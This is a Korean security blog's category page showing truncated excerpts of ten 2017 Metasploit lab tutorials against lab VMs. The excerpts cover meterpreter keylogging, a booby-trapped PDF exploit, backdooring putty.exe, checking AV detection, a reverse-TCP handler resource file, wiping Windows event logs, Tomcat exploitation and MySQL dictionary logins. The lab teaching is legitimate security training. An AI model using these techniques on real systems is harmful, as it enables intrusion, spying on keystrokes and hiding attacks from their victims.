Security/정보 수집 검색 결과

해당 글 38건

키보드 스니핑과 스크린샷

- 용어 key logger - 사용 시스템KaliLinuxWindows 2008 - meterpreter의 getdesktop 명령어 enumdesktops 접근 가능한 테스크톱과 윈도우 스테이션 전체 목록을 확인getdesktop 현재 meterpreter 세션으로 작업하고 있는 사용자 시스템의 현재 테스크톱 확인setdesktop 현재 meterpreter 세션 테스크톱에서 다른 데스크톱 스테이션으로 변경keyscan_start 현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 시작keyscan_stop 현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 종료keyscan_dump meterpreter 데스크톱 세션의 키보드 동작을 저장 - 윈도우 데스크톱 Session 0|+----- W..
Security/정보 수집 2017. 11. 11. 22:35

변조된 PDF 파일 생성하기

- 사용 시스템 kaliLinuxwindows 7 - 취약한 타겟 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)> 현재 버전은 안되기 때문에 실습을 위해 따로 다운받는다. ( 용량이 커서 올리지 못하고 필요하면 보내드릴게요. > 버전이 낮아 취약한 파일입니다. VM의 window7에 설치) - 모듈exploit/windows/fileformat/adobe_pdf_embedded_exe [참고]OSVDB (63667)https://cvedetails.com/cve/CVE-2010-1240/ - PDF 파일 포멧을 이용하여 악성 코드 제작 (win7)- 취약한 Adobe Reader 설치 ( 특별한 ..
Security/정보 수집 2017. 11. 11. 22:03

virustotal 사이트 사용하기

- 전 게시물의 putty와 같이 악성코드가 감염된 파일을 확인하는 사이트이다. - 하나의 파일을 여러 AV를 이용하여 확인한다. - 사이트 : http://www.virustotal.com (win7) 전 게시물의 실슴에 사용한 putty.exe(악성코드가 삽입된)을 검색해본다. - 사이트 접속> putty.exe 파일을 스캔합니다. > 위험하다는 것을 많은 AV 프로그램들이 발견했습니다. > 맨위에 안랩V3 도 바이러스를 탐지했습니다. Avast도 있네요 > ALYac(알약)은 이 파일을 바이러스로 잡지 못한 것으로 보입니다. - 이 사이트는 보다시피 여러 AV 프로그램들이 파일을 검사합니다. 때문에 해커도 파일을 만들어 이 사이트를 통해 자신이 만든 악성코드를 삽입한 파일이 AV 프로그램들이 잡아 ..
Security/정보 수집 2017. 11. 11. 21:30

Backdoor Factory를 사용한 악성코드 제작

- 사용시스템KaliLinuxwindow7 - 최신 버전의 Backdoor Factory를 받는다. # git clone https://github.com/secretsquirrel/the-backdoor-factory.git [참고] # apt-get -y install the-backdoor-factory backdoor factory 를 Kali 내장 업데이트로 하면 잘 안됨 ( 버그 ) - 악성코드를 만들기 위해 정상 프로그램 다운로드실습에서 사용할 프로그램은 putty.exe www.putty.org 에서 받은 파일은 Cave 목록에 나오지 않기 때문에 예전버전을 다운받아서 사용합니다. - putty.exe 파일 KaliLinux로 옮기기드래그 앤 드롭을 하면 실습이 안되는 경우가 많기 때문에 ..
Security/정보 수집 2017. 11. 11. 21:22

메타스플로잇을 이용하여 윈도우 2008 로그 삭제하기

- 사용 시스템Window 2008KaliLinux - 윈도우 2008에서 로그 확인시작 > 관리도구 > 이벤트 뷰어 > Window 로그 - 칼리리눅스에서 연결된 세션의 윈도우2008 운영체제 사용자 권한 상승 및 로그 지우기 (Kali)# cd /root/bin# vi reverse_resource2.rc use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.27.50set ExitSession falseexploit -j -z # msfconsole -r reverse_resource2.rc Taking notes in notepad? Have Metasploit Pro track & repo..
Security/정보 수집 2017. 11. 10. 21:42

메타스플로잇을 사용하여 윈도우즈 시스템 장악하기

- 사용시스템KaliLinuxwindow 7 - 리소스(Resource) 파일로 시스템 침투 환경 만들기 Attacker : Kali 공인 IP Program(listen)Victim : Window 사설 IP 악성프로그램(execute) - 백도어 만들기 (kali) # mkdir -p /root/bin# cd /root/bin# vi reverse_resource.rc use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.27.50set ExitSession falseexploit -j -z > 백그라운드로 실행한다. - 페이로드(Payload)를 사용하여 공격 코드 자동 생성 [참고] msfv..
Security/정보 수집 2017. 11. 10. 20:20

메타스플로잇을 이용하여 톰캣(Tomcat) 취약점 공격

- 사용 시스템KaliLinuxMetasploitable V2 Linux (Kali) - 타겟 시스템의 포트/서비스 버전 확인# nmap -sV -p 1-65535 192.168.17.134 Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-10 18:38 KSTStats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 96.67% done; ETC: 18:39 (0:00:03 remaining)Nmap scan report for 192.168.17.134Host is up (0.00069s latency).Not shown: 65505 c..
Security/정보 수집 2017. 11. 10. 19:05

메타스플로잇을 사용하여 사전 파일을 이용한 MySQL 원격 로그인 시도

- 사용 시스템Kali LinuxMetasploitable V2 Linux ( Kali )# nmap -sV 192.168.17.134 /* Metasploit V2 Server IP */ Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-09 19:56 KSTmass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-serversmass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or spec..
Security/정보 수집 2017. 11. 9. 20:07

zenmap을 통해 포트스캔된 정보를 metasploit에서 읽어 들이기

- 사용 시스템Kali LinuxMetasploitable V2 Linux - 필요성msf> db_nmap CMD 출력 내용은 postgresql DB에 저장이 된다. # name CMD 출력 내용은 모니터에 출력된다. # nmap CMD 출력 내용은 postgresql DB에 저장하고 싶다.- nmap CMD 출력 내용 -> 파일 저장 ( scan.xml ) > DB 저장 ( msf>db_import ) - nmap 프로그램을 통해 공격하려고 하는 시스템의 포트 스캔 과정을 거치고 파일로 저장 ( Kali )# zenmap & > scan1.xml 파일로 저장 후 종료 - MSF console 접속후 저장된 파일 import # msfconsole .... 중략....msf > help..
Security/정보 수집 2017. 11. 9. 19:53

메타스플로잇 사용법 ( msfconsole )

- Metasploitable V2 Linux 서버 구축 Metasploitable V2 Linux 에 대한 정보 ( 다운로드 ) : https://community.rapid7.com/docs/DOC-1875 로그인 ID/PASS : msfadmin / msfadmin ( 주의 ) eth0 반드시 NAT로 변경IP: 192.168.17.134/24default router : 192.168.17.2DNS Server : 192.168.10.2 / 168.126.63.1 $ sudo vi /etc/network/interfaces auto eth0iface eth0 inet staticaddress 192.168.10.134netmask 255.255.255.0gateway 192.168.10.2 $ s..
Security/정보 수집 2017. 11. 9. 18:53